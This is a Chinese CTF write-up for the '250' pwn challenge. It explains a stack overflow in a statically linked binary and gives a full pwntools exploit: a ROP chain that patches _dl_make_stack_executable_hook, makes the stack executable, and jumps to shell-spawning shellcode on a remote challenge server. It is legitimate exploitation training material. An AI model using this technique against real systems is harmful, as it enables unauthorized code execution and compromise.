天天看點

攻防世界PWN之250題解250

250

首先,檢查一下程式的保護機制

攻防世界PWN之250題解250

然後,我們用IDA分析一下

程式存在明顯的棧溢出漏洞

攻防世界PWN之250題解250

并且glibc被靜态編譯到了程式中

攻防世界PWN之250題解250

由于沒有開啟PIE,且glibc被靜态編譯包含,那麼我們有很多方式get shell,這裡,我們使用的是dl_make_stack_executable使得棧變得可執行,然後在棧裡布下shellcode來getshell

攻防世界PWN之250題解250

為了節省步驟,我們直接ret到這裡

攻防世界PWN之250題解250

這樣,我們就不用擔心參數的問題,我們還得事先設定好ebp的值,使得[ebp+arg_10]為__libc_stack_end的位址,目的是為了繞過這裡的檢查

攻防世界PWN之250題解250

我們發現0x80A0B05處就是__libc_stack_end的位址

攻防世界PWN之250題解250

于是,我們就令ebp為0x80A0B05 - 0x18,這樣[ebp+arg_10]為__libc_stack_end的位址

接下來,為了讓_dl_make_stack_executable執行完後,不回到這

攻防世界PWN之250題解250

我們需要利用gadgets修改_dl_make_stack_executable_hook的值

攻防世界PWN之250題解250

我們得讓它偏移一個push指令,即改成劃線處的位址

攻防世界PWN之250題解250

這樣ret時,就會不到原來的地方,而是回到棧裡的ROP gadgets

于是,我們再用jmp esp來繼續跳轉到棧裡,執行shellcode

綜上,我們的exp腳本如下

  1. #coding:utf8  
  2. from pwn import *  
  3. #sh = process('./pwnh38')  
  4. sh = remote('111.198.29.45',52378)  
  5. elf = ELF('./pwnh38')  
  6. _dl_make_stack_executable_hook = elf.symbols['_dl_make_stack_executable_hook']  
  7. '''''調用_dl_make_stack_executable 
  8. .text:0809A260                 or      ds:__stack_prot, 7 
  9. .text:0809A267                 mov     eax, [ebp+arg_10] 
  10. .text:0809A26A                 call    _dl_make_stack_executable_hook 
  11. '''  
  12. call_dl_make_stack_executable = 0x809A260  
  13. #inc dword ptr [ecx] ; ret  
  14. inc_p_ecx = 0x080845f8  
  15. pop_ecx = 0x080df1b9  
  16. jmp_esp = 0x080de2bb  
  17. sh.sendlineafter('SSCTF[InPut Data Size]',str(0x100))  
  18. payload = 'a'*0x3A + p32(0x80A0B05 - 0x18)  
  19. #修改_dl_make_stack_executable_hook,偏移一個push,這樣ret時就不會傳回到原來的位置  
  20. payload += p32(pop_ecx) + p32(_dl_make_stack_executable_hook) + p32(inc_p_ecx)  
  21. #調用_dl_make_stack_executable讓棧變得可執行,并跳到棧裡繼續執行shellcode  
  22. payload += p32(call_dl_make_stack_executable) + p32(jmp_esp)  
  23. #shellcode  
  24. payload += asm(shellcraft.i386.linux.sh())  
  25. raw_input()  
  26. sh.sendlineafter('SSCTF[YourData]',payload)  
  27. sh.interactive()